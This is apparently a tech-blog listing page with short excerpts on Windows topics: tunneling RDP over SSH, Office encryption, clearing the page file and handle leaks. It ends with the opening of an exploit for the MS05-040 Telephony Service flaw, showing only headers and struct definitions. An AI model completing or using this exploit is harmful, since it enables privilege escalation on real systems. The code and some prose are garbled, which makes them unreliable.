Windows

Tunneling Remote Desktop (RDP) Over SSH

Fadıl

Windows remote desktop (RDP) is an extremely useful way to have access to your computer’s desktop from everywhere. Suppose you need to connect to your work computer through RDP but your company’s IT staff configured the firewalls to block all remote connections accept secure connections (e.g. SSH). This is just an example scenario where you need to tunnel remote desktop over SSH.

In this hack, we’ll show you how to tunnel remote desktop connections over SSH, and how to remotely connect any internal computer by tunneling remote desktop through the main gateway.

Encrypt Microsoft Office Documents

Fadıl

If you are a Windows user, you often use the Office Suite to write documents, prepare presentations or do some financial calculations. Sensitive documents can be given a degree of protection using Office built-in encryption. Microsoft offers several features to help restrict access to documents through the use of passwords or encryption.

If encryption is enabled, the document is scrambled with an encryption code, making the contents of it unreadable to anyone who does not have the password required to decrypt the document. There are several encryption algorithms available for use with Word, Excel, and PowerPoint files.

Clear the Page File to Prevent Data Leaks

Fadıl

Virtual memory is a truly great mechanism. It protects programs from one another and lets them utilize more memory than actually available. In a nutshell, you can think of virtual memory as an alternate set of memory addresses.

As you run more and more programs, at some point, you’ll begin running out of physical memory. Since things can get slower when this happens, the virtual memory manager will copy as much data and possible into main memory and leave the rest on the disk (the page file). This process is known as swapping.

Debug: Handle Leaks

Fadıl

The intent of these articles is not to regurgitate the WinDbg / NTSD help files but rather introduce real problems, what they are and how to solve them using the debuggers.

What is the handle?

To an application, a “handle” is some instance of a device, file, or some other SYSTem object or resource. The Application WILL create an instance of the Resource by calling a function such as CreateFile or RegOpenKey , and USE the handle is absent. calls to these functions to perform operations on the resource.

MS Windows Telephony Service Command Execution Exploit (MS05-040)

Fadıl

/ / TAPI Vulnerability-MS05-040
/ /
/ / Should work on Win2k sp0, sp1, sp2, sp3, sp4 any language
/ / If Telephony Service is not running you can start it by net start “Telephony Service”

Include “windows.h”

Include “stdio.h”

Include “tapi.h

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct LpcSectionMapInfo {
DWORD Length;
DWORD SectionSize;
DWORD ServerBaseAddress;
} LPCSECTIONMAPINFO;
typedef struct LpcSectionInfo {
DWORD Length;
HANDLE SectionHandle;
DWORD Param1;
DWORD SectionSize;
DWORD clientBaseAddress;
DWORD ServerBaseAddress;
} LPCSECTIONINFO;